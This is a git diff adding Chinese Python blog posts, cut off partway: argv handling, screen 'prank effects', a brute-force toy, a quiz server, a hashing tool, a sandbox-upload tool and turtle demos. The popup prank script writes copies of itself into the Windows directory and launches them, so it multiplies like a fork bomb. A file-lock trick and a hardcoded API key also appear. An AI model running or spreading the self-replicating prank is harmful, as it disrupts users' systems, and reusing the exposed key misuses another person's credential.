2060642520@qq.com +\tLanguage : English (Python)''') +``` + diff --git "a/Python\347\232\204\350\277\220\350\241\214\345\217\202\346\225\260.md" "b/Python\347\232\204\350\277\220\350\241\214\345\217\202\346\225\260.md" new file mode 100644 index 0000000..258004b --- /dev/null +++ "b/Python\347\232\204\350\277\220\350\241\214\345\217\202\346\225\260.md" @@ -0,0 +1,17 @@ +直接看代码: + +```python +from sys import argv +argv.pop(0) +params = argv + +for i in params: + print(i) +``` +这样就完成了输出参数的操作。 +我们现在打开命令提示符,切换到当前目录: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210112130717334.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +输入代码:`python 文件名 你要的参数` +文件名与参数自定义,可以设置多个参数。 +可以进行判断,实现命令的效果。 + diff --git "a/Python\347\250\213\345\272\217\344\277\235\346\212\244\346\226\207\344\273\266\344\275\277\345\205\266\344\270\215\350\242\253\345\210\240\351\231\244.md" "b/Python\347\250\213\345\272\217\344\277\235\346\212\244\346\226\207\344\273\266\344\275\277\345\205\266\344\270\215\350\242\253\345\210\240\351\231\244.md" new file mode 100644 index 0000000..93fae25 --- /dev/null +++ "b/Python\347\250\213\345\272\217\344\277\235\346\212\244\346\226\207\344\273\266\344\275\277\345\205\266\344\270\215\350\242\253\345\210\240\351\231\244.md" @@ -0,0 +1,9 @@ +方法很简单,一直在后台读取即可。删除时会提示无法访问,关掉就可以删掉了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7fe75e37f098433d8426d4a723a4aa17.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +f = open("a.txt","r") +while True: + f.read() +``` +需要在同目录下创建一个`a.txt`,再运行这个文件将无法删除,`pyinstaller`以后可以关闭黑色窗口,伪装成无法删除。可以从任务管理器中关闭。 diff --git "a/Python\347\250\213\345\272\217\347\211\271\346\225\210.md" "b/Python\347\250\213\345\272\217\347\211\271\346\225\210.md" new file mode 100644 index 0000000..72d0548 --- /dev/null +++ "b/Python\347\250\213\345\272\217\347\211\271\346\225\210.md" @@ -0,0 +1,257 @@ +> [我的仓库](https://pandaoxi.coding.net/public/pandaoxi/PanDaoxi/git/files),需要的文件可以下载。 +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c3968d82fc984a59b2feb8828fa639ba.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +> [点这儿。](https://pandaoxi.coding.net/p/pandaoxi/d/PanDaoxi/git/raw/master/%E5%8E%86%E5%8F%B2%E9%A1%B9%E7%9B%AE/Python%E7%A8%8B%E5%BA%8F%E7%89%B9%E6%95%88.zip?download=true) + + +@[TOC] + +# 屏幕重影 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d8f519fea6704333949f644ee6df1415.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +import pygame +from pygame.locals import * +from pyautogui import screenshot + +pygame.init() +canvas = pygame.display.set_mode((800,800)) +pygame.display.set_caption('Sshot') +canvas.fill((255,255,255)) +screenshot(region = (0,0,800,800)).save('sshot.png') +i = pygame.image.load('sshot.png') +canvas.blit(i,(0,0)) + +def h(): + for event in pygame.event.get(): + if event.type==KEYDOWN and event.key==K_ESCAPE: + pygame.quit() + exit() + +while True: + canvas.blit(i,(0,0)) + screenshot(region = (0,0,800,800)).save('sshot.png') + i = pygame.image.load('sshot.png') + h() + pygame.display.update() +``` + +# 屏幕移动 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/38afa2788f454d9aac1d89336e88b42c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +import pygame +from pygame.locals import * +from pyautogui import screenshot +from random import randint + +def f(): + global bg + screenshot(region = (0,0,1920,1080)).save('sshot.png') + bg = pygame.image.load('sshot.png') + +f() +pygame.init() +canvas = pygame.display.set_mode((1920,1080)) +canvas.fill((255,255,255)) +pygame.display.set_caption('MOVE') + +def h(): + for event in pygame.event.get(): + if event.type == KEYDOWN and event.key == K_ESCAPE: + pygame.quit() + exit() + +x1 = 0 +y1 = 0 +height = 1080 +x2 = 0 +y2 = -height + +x3 = 0 +y3 = 0 +width = 1920 +x4 = 0 +y4 = 0 +n = randint(0,1) +while True: + if n: + canvas.blit(bg,(x1,y1)) + y1 += 3 + canvas.blit(bg,(x2,y2)) + y2 += 3 + if y1 > height: + y1 = -height + if y2 > height: + y2 = -height + else: + canvas.blit(bg,(x3,y3)) + x3 += 3 + canvas.blit(bg,(x4,y4)) + x4 += 3 + if x3 > width: + x3 = -width + if x4 > width: + x4 = -width + h() + pygame.display.update() +``` + +# 随机音乐 + +```python +from random import choice +from requests import get +from os import system + +# range(ord('a'),ord('t') + 1) +fl = [] +for i in range(97,117): + fl.append('https://pandaoxi.coding.net/p/pandaoxi/d/PanDaoxi/git/raw/master/%E9%9F%B3%E4%B9%90%E8%B5%84%E6%BA%90/{}.mp3?download=true'.format(chr(i))) +f = choice(fl) +print(f) +with open('music.mp3','wb') as w: + w.write(get(f).content) + +system('call music.mp3') +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/537b2dc70e0447ad92fbfb527f346c48.png) + +# 等比弹窗 +以前做过,不演示了 + +```python +from tkinter import Tk,Label +from random import randint +from os import system,name,environ +from time import sleep + +title = "Message" +message = "很不好意思,您的电脑废了" +loops = [] +window = Tk() +window.geometry("350x50") +window.title(title) +path=environ["windir"] + +def main(): + global loops,window + Label(window,text=message,font=('Microsoft YaHei',20)).pack() + sleep(5) + with open(__file__,"r",encoding="utf-8") as f: + text = f.read() + for i in range(0,2): + content = "%s\\%d.py" % (path,randint(100000,999999)) + with open(content,"w",encoding="utf-8") as f: + f.write(text) + loops.append(content) + for i in range(0,2): + system("start /min cmd /c python %s" % loops[i]) + +if __name__ == "__main__" and name == "nt": + main() +else: + showerror("Message","无法运行程序,原因可能是:\n①(1)您非主动运行程序。\n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。") + exit() +window.mainloop() + +``` + +# 屏幕反色 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/58323ac8101d439094b84836ff225805.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +import cv2 +import pygame +from pygame.locals import * +from pyautogui import screenshot +from random import randint +from time import sleep + +screenshot(region = (0,0,1920,1080)).save('sshot.png') +im = pygame.image.load('sshot.png') +pygame.init() +canvas = pygame.display.set_mode((1920,1080)) +pygame.display.set_caption('SCREEN') +for i in range(0,100): canvas.blit(im,(0,0)) + +def f(): + screenshot(region = (0,0,1920,1080)).save('sshots.png') + img = cv2.imread('sshots.png', 1) + img_shape = img.shape + h = img_shape[0] + w = img_shape[1] + dst = 255 - img + x = randint(100000,999999) + cv2.imwrite("save%d.png" % x,dst,[cv2.IMWRITE_PNG_COMPRESSION,0]) + i = pygame.image.load("save%d.png" % x) + canvas.blit(i,(0,0)) + cv2.waitKey(0) + +def h(): + for event in pygame.event.get(): + if event.type == KEYDOWN and event.key == K_ESCAPE: + pygame.quit() + exit() + +while True: + f() + h() + pygame.display.update() + pygame.time.delay(randint(500,3500)) +``` + +# 屏幕闪烁 +这个我也做过,不说了 + +```python +import pygame +from pygame.locals import * +from random import randint + +pygame.init() +canvas = pygame.display.set_mode((1920,1080)) +pygame.display.set_caption("Computer Dance") +canvas.fill((255,255,255)) + +def h(): + for event in pygame.event.get(): + if event.type==KEYDOWN and event.key==K_ESCAPE: + pygame.quit() + exit() + +while True: + r,g,b = randint(0,255),randint(0,255),randint(0,255) + rgb = (r,g,b) + canvas.fill(rgb) + h() + pygame.display.update() +``` + +# 屏幕失效 + +```python +import pygame +from pygame.locals import * +from pyautogui import screenshot + +screenshot(region = (0,0,1920,1080)).save('sshot.png') +i = pygame.image.load("./sshot.png") +pygame.init() +canvas = pygame.display.set_mode((1920,1080)) +pygame.display.set_caption('Sshot') +canvas.blit(i,(0,0)) + +def h(): + for event in pygame.event.get(): + if event.type==KEYDOWN and event.key==K_ESCAPE: + pygame.quit() + exit() + +while True: + canvas.blit(i,(0,0)) + screenshot(region = (0,0,1920,1080)).save('sshot.png') + i = pygame.image.load('sshot.png') + h() + pygame.display.update() +``` + diff --git "a/Python\347\251\267\344\270\276\346\263\225\347\240\264\350\247\243\345\257\206\347\240\201.md" "b/Python\347\251\267\344\270\276\346\263\225\347\240\264\350\247\243\345\257\206\347\240\201.md" new file mode 100644 index 0000000..594e8e7 --- /dev/null +++ "b/Python\347\251\267\344\270\276\346\263\225\347\240\264\350\247\243\345\257\206\347\240\201.md" @@ -0,0 +1,28 @@ +现在我有一个密码`y`(随机数), +不知道密码是什么, +但已知`100000 ≤ y ≤ 999999`, +使用穷举大法破解密码。 + +
+ +首先,我们有一个判断密码是否正确的函数。 + +```python +y = randint(100000,999999) +def password(n): + if n == y: + return '密码正确' + else: + return '密码错误' +``` +于是,我们可以通过范围内循环来依次尝试破解密码,如果正确即可输出: + +```python +for i in range(100000,999999,1): + x = password(i) + if x == '密码正确': + print('密码是%d,成功破解' % i) + break +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/87129b81598a4e05bc67fe47552a6da9.png) + diff --git "a/Python\347\255\224\351\242\230\345\271\266\347\273\237\350\256\241\347\232\204\345\260\217\347\250\213\345\272\217.md" "b/Python\347\255\224\351\242\230\345\271\266\347\273\237\350\256\241\347\232\204\345\260\217\347\250\213\345\272\217.md" new file mode 100644 index 0000000..98424df --- /dev/null +++ "b/Python\347\255\224\351\242\230\345\271\266\347\273\237\350\256\241\347\232\204\345\260\217\347\250\213\345\272\217.md" @@ -0,0 +1,170 @@ +@[toc] + +# 前言 +也是一个`django`/`pywebio`的项目。 + +```python +D:. +│ putMessage.py +│ +└─server + │ Data + │ db.sqlite3 + │ manage.py + │ + └─server + │ asgi.py + │ settings.py + │ urls.py + │ wsgi.py + │ __init__.py + │ + └─__pycache__ + settings.cpython-36.pyc + urls.cpython-36.pyc + wsgi.cpython-36.pyc + __init__.cpython-36.pyc +``` +实现了个什么效果?在线答题并统计答题结果。 + +# 正文 +这个东西比我的那个登录验证模板要简单一些。但是,这个项目也有一个有趣的东西。我们来看看吧。。 +创建项目的命令: + +```python +django-admin startproject +``` + +## 1.`settings.py` +也是添加那一项`ALLOWED_HOSTS` 的元素`*`,这里不再赘述。 +## 2.`urls.py` +主要的服务器程序。 +```python +from django.shortcuts import HttpResponse +from django.urls import path +from json import dumps + +avg = 0 # 记录平均分 +humen = 0 # 记录人数 +names = [] # 记录答题人名字 +avgtime = 0 # 记录平均时间 + +def readAs(request): # 读取和写入 + global humen,avg,names,avgtime + reads,data,temp = [],[],[] + with open('Data','r',encoding='utf-8') as f: + reads = f.read().splitlines() + # 添加请求来的数据 + text = '%s的成绩是%s,%s' % (request.GET['name'],request.GET['score'],request.GET['time']) + reads.append(text) + for i in range(0,len(reads)): + temp = reads[i].split('的成绩是') + # 分割字符串、储存字典 + t = reads[i].split(',') + data.append({'name':temp[0],'score':float(temp[1].split(',')[0]),'time':int(t[1])}) + del temp,reads + # 储存数据 + humen = len(data) + for i in range(0,humen): + avg += data[i]['score'] + avg /= humen + for i in range(0,humen): + print(data[i]['name']) + names.append(data[i]['name']) + for i in range(0,len(data)): + avgtime += data[i]['time'] + avgtime /= humen + # 重新写入 + with open('Data','a',encoding='utf-8') as f: + f.write(text + '\n') + return HttpResponse(dumps({'humen':str(humen),'avg':str(int(avg)),'time':str(int(avgtime))})) + +def main(request): + return HttpResponse('

当前答题情况:

答题人数:%d

答题平均分:%d

平均用时:%s秒

答题列表

' % (humen,avg,avgtime)) + +def answerList(request): # 答题名单 + string = '' + for i in range(0,len(names)): + string += '%s\n' % names[i] + return HttpResponse(string) + +urlpatterns = [ + path('read/',readAs), + path('',main), + path('answer/',answerList) +] + +``` +## 3.`putMessage.py` +客户端,发送请求用的。 + +```python +from pywebio.input import * +from pywebio.output import * +from requests import get +from random import randint +from time import time + +url = 'http://127.0.0.1:8000/' # 默认IP +operate,answer = [],[] +right = 0 # 正答 +n = 5 # 五道题 +tempSco = 100 / n # 一道题的分数 + +# 如果不能整除 +if 100 % n: + n = 5 + tempSco = 20 + +# 随机生成运算题 +for i in range(0,n): + a,b,c = randint(1,9),randint(1,9),0 + if a < b: + c = b + b = a + a = c + del c + operate.append('%d%s%d' % (a,['+','-','*'][randint(0,2)],b)) + +# 计算答案 +for i in range(0,len(operate)): + answer.append(eval(operate[i])) + +# 显示 +put_markdown('请你认真答题!') +name = input('请输入你的名字:') +if ('的成绩是' in name) or (',' in name): + put_markdown('你的名字中含有非法字符,请修改。') + exit() +last = time() # 计时开始 +for i in range(0,len(operate)): + ua = input('请回答:%s=?' % operate[i]) + if ua == str(answer[i]): + right += 1 +current = time() # 计时结束 +right *= tempSco # 计算正确率 + +# 发送请求 +x = int(current-last) +params = { + 'name':name, + 'score':right, + 'time':x, + } +res = get(url + 'read/',params=params).json() +put_markdown('已经有%s人提交,平均分是:%s,平均用时:%s\n你的分数:%f,你的用时:%d' % (res['humen'],res['avg'],res['time'],int(right),x)) +``` + +# 实现的效果 +运行服务器,打开客户端。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ec5e92e95e574d798a65e4c1b72ee835.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/324caed404314bb3836a1ccc0ea2abd7.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +5道题。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/dbcb388f2b044600bdff642aec6256c9.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a3ba78d4deff4bba866e5f0b49c4758f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/16e04a2eb9a144ddae60920e1d3d0e36.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + + +## 下载 +[点这下载。](https://download.csdn.net/download/PanDaoxi2020/80105410) diff --git "a/Python\350\207\252\345\210\266\346\226\207\344\273\266\345\256\211\345\205\250\345\210\206\346\236\220\345\267\245\345\205\267.md" "b/Python\350\207\252\345\210\266\346\226\207\344\273\266\345\256\211\345\205\250\345\210\206\346\236\220\345\267\245\345\205\267.md" new file mode 100644 index 0000000..c0204d3 --- /dev/null +++ "b/Python\350\207\252\345\210\266\346\226\207\344\273\266\345\256\211\345\205\250\345\210\206\346\236\220\345\267\245\345\205\267.md" @@ -0,0 +1,73 @@ + + +声明:为了保证程序的完整,文中含有作者个人的开发者密钥信息,仅供学习,如需在工作中使用,请替换为自己的开发者密钥。如需转载,请务必联系作者!!! + + + +```python +# 导入包 +from tkinter import Tk +from tkinter.filedialog import askopenfilenames +from tkinter.messagebox import showinfo +from os import environ, system +from requests import post + +# 创建窗口 +hide = Tk() +hide.withdraw() + +# 设置变量 +title = "文件安全工具" # 标题 +filenames = [] # 文件列表 +UserProfile = environ["USERPROFILE"] # 用户配置文件目录 +openfiles = askopenfilenames( + title=title, initialdir=UserProfile, filetype=(["所有文件", "*.*"],) +) # 文件上传窗口 +webPaths = [] # 储存文件分析说明的网络位置列表 + +# 遍历选中文件的路径,输出到文件列表 +for f in openfiles: + filenames.append(f) + +# 设定上传函数 +def upload(path): # 运用微步云沙箱恶意文件检测功能 + apiKey = "23bd94daee364ec88ce632f8b0f1b0b5ecd099a08a794dd88ee1858cd92b7b86" # 开发者密钥 + sandBox = "win7_sp1_enx64_office2013" # 设置沙箱类型 + runTime = 280 # 运行时间 + fileObject = open(path, "rb") # 储存文件对象 + url = "https://api.threatbook.cn/v3/file/upload" # 文件上传接口 + fileNameTemp = path.split("/") # 获取分段文件路径 + fileConfig = fileNameTemp[len(fileNameTemp) - 1] # 获取文件名称 + + # 数据字典 + data = { + "apikey": apiKey, + "sandbox_type": sandBox, + "runtime": runTime, + } + # 文件字典 + upFile = { + "file": (fileConfig, fileObject), + } + + # 发送网络请求 + response = post(url, data=data, files=upFile) # 向上传接口发送数据和文件 + content = response.json() # JSON 解析 + return content["data"]["permalink"] # 返回结果信息 + + +# 遍历文件列表,发送到文件接口 +for value in filenames: + webPaths.append(upload(value)) # 添加到网址列表 + +webString = "\n".join(webPaths) # 将网址添加到字符串中 + +with open(UserProfile + "\\Desktop\\文件分析.txt", "w", encoding="UTF-8") as f: + f.write(webString) # 写入文件 + +showinfo(title,'处理完成!') # 弹出窗口 +exit() +hide.mainloop() + +``` + diff --git "a/Python\350\207\252\345\210\266\346\226\207\344\273\266\346\240\241\351\252\214\345\267\245\345\205\267.md" "b/Python\350\207\252\345\210\266\346\226\207\344\273\266\346\240\241\351\252\214\345\267\245\345\205\267.md" new file mode 100644 index 0000000..0b17c97 --- /dev/null +++ "b/Python\350\207\252\345\210\266\346\226\207\344\273\266\346\240\241\351\252\214\345\267\245\345\205\267.md" @@ -0,0 +1,130 @@ +```python +# 导入包 +from easygui import msgbox, textbox, buttonbox +from tkinter import Tk +from tkinter.filedialog import askopenfilename +from os import environ, stat +from time import strftime, localtime +from hashlib import md5, sha256, sha1 + +# 声明变量 +title = "文件校验工具" +hide = Tk() +hide.withdraw() + +# 时间戳格式化 +def timeFormat(stamp): + return strftime("%Y-%m-%d %H:%M:%S", localtime(stamp)) + + +# 获取Md5值 +def getMd5(text): + md5text = md5(text).hexdigest() + return md5text + + +# 获取Sha-256值 +def getSha256(text): + sha256text = sha256(text).hexdigest() + return sha256text + + +# 获取Sha-1值 +def getSha1(text): + sha1text = sha1(text).hexdigest() + return sha1text + + +# 获取Hash值 +def getHash(text): + hashtext = hash(text) + return hashtext + + +# 获取文件加密值 +def getFileEncode(path): + with open(path, "rb") as f: + temp = f.read() + + data = { + "hash": getHash(temp), + "md5": getMd5(temp), + "sha-1": getSha1(temp), + "sha-256": getSha256(temp), + } + return data + + +# 文件信息函数 +def fileAttrib(fn): + statinfo = stat(fn) + + fileSize = statinfo.st_size + fileLastVisitTime = timeFormat(statinfo.st_atime) + fileLastReviseTime = timeFormat(statinfo.st_mtime) + fileCreationTime = timeFormat(statinfo.st_ctime) + + data = { + "fs": fileSize, + "flvt": fileLastVisitTime, + "flrt": fileLastReviseTime, + "fct": fileCreationTime, + } + return data + + +# 文件选择函数 +def choice(): + current = environ["UserProfile"] + fileName = askopenfilename( + title=title, filetypes=[("所有文件", "*.*")], initialdir=current + ) + + att = fileAttrib(fileName) + enc = getFileEncode(fileName) + txt = """文件路径:%s +文件大小(Bytes):%d +文件最后一次访问时间:%s +文件最后一次修改时间:%s +文件创建时间:%s +\n + +文件HASH值:%s +文件md5值:%s +文件sha-1值:%s +文件sha-256值:%s +""" % ( + fileName, + att["fs"], + att["flvt"], + att["flrt"], + att["fct"], + enc["hash"], + enc["md5"], + enc["sha-1"], + enc["sha-256"], + ) + textbox("文件详细信息如下!", title, text=txt) + + +# 函数调用 +while True: + try: + choose = buttonbox( + "欢迎使用文件校验工具!\n请按“选择文件”打开您要校验的文件,按“退出程序”退出!", title, ("选择文件", "退出程序") + ) + if choose == "选择文件": + choice() + else: + exit() + except Exception as e: + msgbox("错误:%s" % e, title) + exit() +hide.mainloop() + +``` +结果展示: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b0b3e74fa5694da4a41d5a5817a66a3c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6e0066c58d264686963ea7b6ab2e4d3a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0b96b39f70de454ea60b240f214c38ac.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/Python\350\207\252\345\270\246\347\232\204\345\260\217demo\357\274\210\344\270\212\357\274\211.md" "b/Python\350\207\252\345\270\246\347\232\204\345\260\217demo\357\274\210\344\270\212\357\274\211.md" new file mode 100644 index 0000000..4c265c8 --- /dev/null +++ "b/Python\350\207\252\345\270\246\347\232\204\345\260\217demo\357\274\210\344\270\212\357\274\211.md" @@ -0,0 +1,1203 @@ +[点击这里去《Python自带的小demo(下)》!](https://blog.csdn.net/PanDaoxi2020/article/details/119147032) +
+ +①绘制一朵花: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/51240873b83b7b0a9e0a2211efca155f.png) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_bytedesign.py + +An example adapted from the example-suite +of PythonCard's turtle graphics. + +It's based on an article in BYTE magazine +Problem Solving with Logo: Using Turtle +Graphics to Redraw a Design +November 1982, p. 118 - 134 + +------------------------------------------- + +Due to the statement + +t.delay(0) + +in line 152, which sets the animation delay +to 0, this animation runs in "line per line" +mode as fast as possible. +""" + +from turtle import Turtle, mainloop +from time import clock + +# wrapper for any additional drawing routines +# that need to know about each other +class Designer(Turtle): + + def design(self, homePos, scale): + self.up() + for i in range(5): + self.forward(64.65 * scale) + self.down() + self.wheel(self.position(), scale) + self.up() + self.backward(64.65 * scale) + self.right(72) + self.up() + self.goto(homePos) + self.right(36) + self.forward(24.5 * scale) + self.right(198) + self.down() + self.centerpiece(46 * scale, 143.4, scale) + self.getscreen().tracer(True) + + def wheel(self, initpos, scale): + self.right(54) + for i in range(4): + self.pentpiece(initpos, scale) + self.down() + self.left(36) + for i in range(5): + self.tripiece(initpos, scale) + self.left(36) + for i in range(5): + self.down() + self.right(72) + self.forward(28 * scale) + self.up() + self.backward(28 * scale) + self.left(54) + self.getscreen().update() + + def tripiece(self, initpos, scale): + oldh = self.heading() + self.down() + self.backward(2.5 * scale) + self.tripolyr(31.5 * scale, scale) + self.up() + self.goto(initpos) + self.setheading(oldh) + self.down() + self.backward(2.5 * scale) + self.tripolyl(31.5 * scale, scale) + self.up() + self.goto(initpos) + self.setheading(oldh) + self.left(72) + self.getscreen().update() + + def pentpiece(self, initpos, scale): + oldh = self.heading() + self.up() + self.forward(29 * scale) + self.down() + for i in range(5): + self.forward(18 * scale) + self.right(72) + self.pentr(18 * scale, 75, scale) + self.up() + self.goto(initpos) + self.setheading(oldh) + self.forward(29 * scale) + self.down() + for i in range(5): + self.forward(18 * scale) + self.right(72) + self.pentl(18 * scale, 75, scale) + self.up() + self.goto(initpos) + self.setheading(oldh) + self.left(72) + self.getscreen().update() + + def pentl(self, side, ang, scale): + if side < (2 * scale): return + self.forward(side) + self.left(ang) + self.pentl(side - (.38 * scale), ang, scale) + + def pentr(self, side, ang, scale): + if side < (2 * scale): return + self.forward(side) + self.right(ang) + self.pentr(side - (.38 * scale), ang, scale) + + def tripolyr(self, side, scale): + if side < (4 * scale): return + self.forward(side) + self.right(111) + self.forward(side / 1.78) + self.right(111) + self.forward(side / 1.3) + self.right(146) + self.tripolyr(side * .75, scale) + + def tripolyl(self, side, scale): + if side < (4 * scale): return + self.forward(side) + self.left(111) + self.forward(side / 1.78) + self.left(111) + self.forward(side / 1.3) + self.left(146) + self.tripolyl(side * .75, scale) + + def centerpiece(self, s, a, scale): + self.forward(s); self.left(a) + if s < (7.5 * scale): + return + self.centerpiece(s - (1.2 * scale), a, scale) + +def main(): + t = Designer() + t.speed(0) + t.hideturtle() + t.getscreen().delay(0) + t.getscreen().tracer(0) + at = clock() + t.design(t.position(), 2) + et = clock() + return "runtime: %.2f sec." % (et-at) + +if __name__ == '__main__': + msg = main() + print(msg) + mainloop() + +``` + +②绘制折线图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/1e64cf3a0ce24697bfbe7a4a09770ea7.png) + +```python +# File: tdemo_chaos.py +# Author: Gregor Lingl +# Date: 2009-06-24 + +# A demonstration of chaos + +from turtle import * + +N = 80 + +def f(x): + return 3.9*x*(1-x) + +def g(x): + return 3.9*(x-x**2) + +def h(x): + return 3.9*x-3.9*x*x + +def jumpto(x, y): + penup(); goto(x,y) + +def line(x1, y1, x2, y2): + jumpto(x1, y1) + pendown() + goto(x2, y2) + +def coosys(): + line(-1, 0, N+1, 0) + line(0, -0.1, 0, 1.1) + +def plot(fun, start, color): + pencolor(color) + x = start + jumpto(0, x) + pendown() + dot(5) + for i in range(N): + x=fun(x) + goto(i+1,x) + dot(5) + +def main(): + reset() + setworldcoordinates(-1.0,-0.1, N+1, 1.1) + speed(0) + hideturtle() + coosys() + plot(f, 0.35, "blue") + plot(g, 0.35, "green") + plot(h, 0.35, "red") + # Now zoom in: + for s in range(100): + setworldcoordinates(0.5*s,-0.1, N+1, 1.1) + return "Done!" + +if __name__ == "__main__": + main() + mainloop() + +``` +③时钟: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/bde39d491a20a7211e25f72142f84cc6.png) + +```python +#!/usr/bin/env python3 +# -*- coding: cp1252 -*- +""" turtle-example-suite: + + tdemo_clock.py + +Enhanced clock-program, showing date +and time + ------------------------------------ + Press STOP to exit the program! + ------------------------------------ +""" +from turtle import * +from datetime import datetime + +def jump(distanz, winkel=0): + penup() + right(winkel) + forward(distanz) + left(winkel) + pendown() + +def hand(laenge, spitze): + fd(laenge*1.15) + rt(90) + fd(spitze/2.0) + lt(120) + fd(spitze) + lt(120) + fd(spitze) + lt(120) + fd(spitze/2.0) + +def make_hand_shape(name, laenge, spitze): + reset() + jump(-laenge*0.15) + begin_poly() + hand(laenge, spitze) + end_poly() + hand_form = get_poly() + register_shape(name, hand_form) + +def clockface(radius): + reset() + pensize(7) + for i in range(60): + jump(radius) + if i % 5 == 0: + fd(25) + jump(-radius-25) + else: + dot(3) + jump(-radius) + rt(6) + +def setup(): + global second_hand, minute_hand, hour_hand, writer + mode("logo") + make_hand_shape("second_hand", 125, 25) + make_hand_shape("minute_hand", 130, 25) + make_hand_shape("hour_hand", 90, 25) + clockface(160) + second_hand = Turtle() + second_hand.shape("second_hand") + second_hand.color("gray20", "gray80") + minute_hand = Turtle() + minute_hand.shape("minute_hand") + minute_hand.color("blue1", "red1") + hour_hand = Turtle() + hour_hand.shape("hour_hand") + hour_hand.color("blue3", "red3") + for hand in second_hand, minute_hand, hour_hand: + hand.resizemode("user") + hand.shapesize(1, 1, 3) + hand.speed(0) + ht() + writer = Turtle() + #writer.mode("logo") + writer.ht() + writer.pu() + writer.bk(85) + +def wochentag(t): + wochentag = ["Monday", "Tuesday", "Wednesday", + "Thursday", "Friday", "Saturday", "Sunday"] + return wochentag[t.weekday()] + +def datum(z): + monat = ["Jan.", "Feb.", "Mar.", "Apr.", "May", "June", + "July", "Aug.", "Sep.", "Oct.", "Nov.", "Dec."] + j = z.year + m = monat[z.month - 1] + t = z.day + return "%s %d %d" % (m, t, j) + +def tick(): + t = datetime.today() + sekunde = t.second + t.microsecond*0.000001 + minute = t.minute + sekunde/60.0 + stunde = t.hour + minute/60.0 + try: + tracer(False) # Terminator can occur here + writer.clear() + writer.home() + writer.forward(65) + writer.write(wochentag(t), + align="center", font=("Courier", 14, "bold")) + writer.back(150) + writer.write(datum(t), + align="center", font=("Courier", 14, "bold")) + writer.forward(85) + tracer(True) + second_hand.setheading(6*sekunde) # or here + minute_hand.setheading(6*minute) + hour_hand.setheading(30*stunde) + tracer(True) + ontimer(tick, 100) + except Terminator: + pass # turtledemo user pressed STOP + +def main(): + tracer(False) + setup() + tracer(True) + tick() + return "EVENTLOOP" + +if __name__ == "__main__": + mode("logo") + msg = main() + print(msg) + mainloop() + +``` +④颜色搭配: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/0f91461c3a9f722dd66dffb7c398feec.png) + + +```python +# colormixer + +from turtle import Screen, Turtle, mainloop + +class ColorTurtle(Turtle): + + def __init__(self, x, y): + Turtle.__init__(self) + self.shape("turtle") + self.resizemode("user") + 